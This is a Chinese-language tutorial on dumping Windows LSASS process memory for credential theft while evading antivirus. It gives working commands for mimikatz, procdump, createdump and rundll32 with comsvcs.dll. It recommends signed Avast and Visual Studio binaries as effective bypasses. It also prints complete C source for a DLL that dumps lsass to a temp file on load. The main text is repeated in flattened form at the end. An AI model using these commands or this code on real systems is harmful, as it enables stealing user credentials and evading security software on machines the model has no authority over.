dumphash bypass杀软的多种方式
字数 921 2025-08-29 08:32:19

绕过杀软进行Lsass进程Dump的多种方法

前言

在Windows渗透测试中,获取用户凭证信息是至关重要的一步。当目标机器没有杀毒软件时,只要有足够权限,可以自由读取Lsass进程;但当存在杀毒软件时,需要使用特殊技巧绕过检测。

直接方法

Mimikatz直接读取

privilege::debug
sekurlsa::logonpasswords

问题:几乎所有杀毒软件都会拦截此操作,必须对mimikatz进行免杀处理。

离线解析方法

更倾向于使用白名单程序进行离线dump,然后解析密码。

白名单程序方法

1. Procdump.exe

微软签名程序,但大部分AV厂商仍会查杀

procdump.exe -ma lsass.exe 1.txt

2. SQLDumper.exe

同样拥有微软签名,但效果与Procdump类似

3. Createdump.exe

.NET 5引入的native binary,有签名但仍被查杀

createdump.exe -u -f lsass.dmp lsass[PID]

4. Rundll32 + comsvcs.dll

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id Desktop\lsass-comsvcs.dmp full

问题:同样会被查杀

有效白名单方法

1. AvDump.exe

Avast杀毒软件自带程序,带有Avast数字签名

AvDump.exe --pid 980 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp

路径C:\Program Files\Avast Software\Avast

2. DumpMinitool.exe

Visual Studio 2022中的工具

DumpMinitool.exe --file 1.txt --processId 980 --dumpType Full

路径C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions

其他技术

SilentProcessExit机制

利用静默退出机制派生werfault.exe进程进行dump
问题:需要修改注册表,会被查杀

自定义DLL方法

编写自定义DLL进行dump,杀软无感

代码实现

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (Process32First(hSnapshot, &entry)) {
        while (Process32Next(hSnapshot, &entry)) {
            if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
                return entry.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnapshot);
    return 0;
}

void GetDebugPrivilege() {
    BOOL fOk = FALSE;
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
}

void DumpLsass() {
    wchar_t ws[100];
    _MiniDumpW MiniDumpW;
    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");
    GetDebugPrivilege();
    MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        DumpLsass();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

实现步骤

  1. 获取Debug权限
  2. 找到lsass的PID
  3. 使用MiniDump或MiniDumpWriteDump进行内存dump

总结

最有效的方法包括:

  1. 使用Avast的AvDump.exe
  2. 使用VS2022的DumpMinitool.exe
  3. 编写自定义DLL利用comsvcs.dll的MiniDump功能

这些方法都能绕过大多数杀毒软件的检测,成功dump lsass进程内存。

绕过杀软进行Lsass进程Dump的多种方法 前言 在Windows渗透测试中,获取用户凭证信息是至关重要的一步。当目标机器没有杀毒软件时,只要有足够权限,可以自由读取Lsass进程;但当存在杀毒软件时,需要使用特殊技巧绕过检测。 直接方法 Mimikatz直接读取 问题 :几乎所有杀毒软件都会拦截此操作,必须对mimikatz进行免杀处理。 离线解析方法 更倾向于使用白名单程序进行离线dump,然后解析密码。 白名单程序方法 1. Procdump.exe 微软签名程序,但大部分AV厂商仍会查杀 2. SQLDumper.exe 同样拥有微软签名,但效果与Procdump类似 3. Createdump.exe .NET 5引入的native binary,有签名但仍被查杀 4. Rundll32 + comsvcs.dll 问题 :同样会被查杀 有效白名单方法 1. AvDump.exe Avast杀毒软件自带程序,带有Avast数字签名 路径 : C:\Program Files\Avast Software\Avast 2. DumpMinitool.exe Visual Studio 2022中的工具 路径 : C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions 其他技术 SilentProcessExit机制 利用静默退出机制派生werfault.exe进程进行dump 问题 :需要修改注册表,会被查杀 自定义DLL方法 编写自定义DLL进行dump,杀软无感 代码实现 实现步骤 获取Debug权限 找到lsass的PID 使用MiniDump或MiniDumpWriteDump进行内存dump 总结 最有效的方法包括: 使用Avast的AvDump.exe 使用VS2022的DumpMinitool.exe 编写自定义DLL利用comsvcs.dll的MiniDump功能 这些方法都能绕过大多数杀毒软件的检测,成功dump lsass进程内存。